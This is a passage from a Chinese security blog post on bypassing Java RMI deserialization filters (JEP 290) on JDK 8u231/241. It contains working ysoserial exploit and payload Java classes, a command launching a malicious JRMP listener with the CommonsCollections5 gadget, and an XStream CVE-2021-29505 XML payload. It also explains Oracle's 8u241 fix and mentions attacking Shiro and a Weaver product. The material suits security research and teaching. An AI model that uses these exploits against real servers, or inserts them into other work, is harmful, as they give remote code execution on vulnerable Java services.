        Registry registry = LocateRegistry.getRegistry(host, port);
        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }

        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, command);
    }

    public static void exploit(final Registry registry,  final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            Remote remote = new JRMPClient_bypass_jep_jdk231().getObject(command);
            try {
                JEP_Naming.lookup(registry, remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }

            return null;
        }});
    }
}

JRMPClient_bypass_jep_jdk241.java

package ysoserial.payloads;

public class JRMPClient_bypass_jep_jdk241 extends PayloadRunner implements ObjectPayload<Remote> {

    public Remote getObject (final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) ref);
        RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
            RMIServerSocketFactory.class.getClassLoader(),// classloader
            new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
            handler// RemoteObjectInvocationHandler
        );
        // UnicastRemoteObject constructor is protected. It needs to use reflections to new a object
        Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
        constructor.setAccessible(true);
        UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        Reflections.setFieldValue(remoteObject, "ssf", serverSocketFactory);
        return remoteObject;
    }

    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient_bypass_jep_jdk231.class.getClassLoader());
        PayloadRunner.run(JRMPClient_bypass_jep_jdk231.class, args);
    }
}

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "calc"

开启一个RMIServer监听

再运行ysoserial.exploit.RMIRegistryExploit_bypass_jep_jdk241.java进行攻击

8u241的修复

针对accessCheck的修复

将(String)var9.readobject()改成了SharedSecrets.getJavaObjectInputStreamReadString().readString(var9),后者不接受反序列化Object。

针对filterCheck的修复

在RemoteObjectInvocationHandler#invokeRemoteMethod中添加验证,method参数必须是一个remote接口,而8u231的绕过中的method是createServerSocket。

关于shiro攻击的jrmp二次反序列化

我这里稍微提及下,因为对于shiro框架的话它是通过URLClassLoader来进行加载类的,所以实际上不支持数组形式的Class加载,那么就会导致类似InvokerTransformer相关的数组类反序列化操作无法进行利用,而这里其中的一个解决办法就是可以通过jrmp二次反序列化来解决,就不演示了,大家感兴趣的话可以自己去尝试

泛微XStream反序列化

已经不想继续记录了,因为XStream版本高,但是最近出了一个高版本的XStream序列化CVE-2021-29505,UnicastRef可以进行利用

在XStream中,如果序列化自一个对象,则xml的开始标签为对象的类的名称,如果该类存在readObject方法,则标签内注明serialization='custom'。

在这里,xstream是不负责被序列化的类的一致性检测(suid)的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。

与java原生反序列化存储格式相同,xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。

<sun.rmi.registry.RegistryImpl_Stub serialization="custom"> 
  <java.rmi.server.RemoteObject> 
    <string>UnicastRef</string>  
    <string>127.0.0.1</string>  
    <int>8001</int>  
    <long>0</long>  
    <int>0</int>  
    <long>0</long>  
    <short>0</short>  
    <boolean>false</boolean> 
  </java.rmi.server.RemoteObject> 
</sun.rmi.registry.RegistryImpl_Stub>

后面发现虽然可以打,但是自己缺找不到可以利用的gadgets,只能触发URLDNS,这里得话就得去研究Resin中间件回显,以后补上

参考文章:https://forum.butian.net/share/152

posted @ 2021-06-26 14:18  zpchcbd  阅读(1865)  评论(0编辑  收藏  举报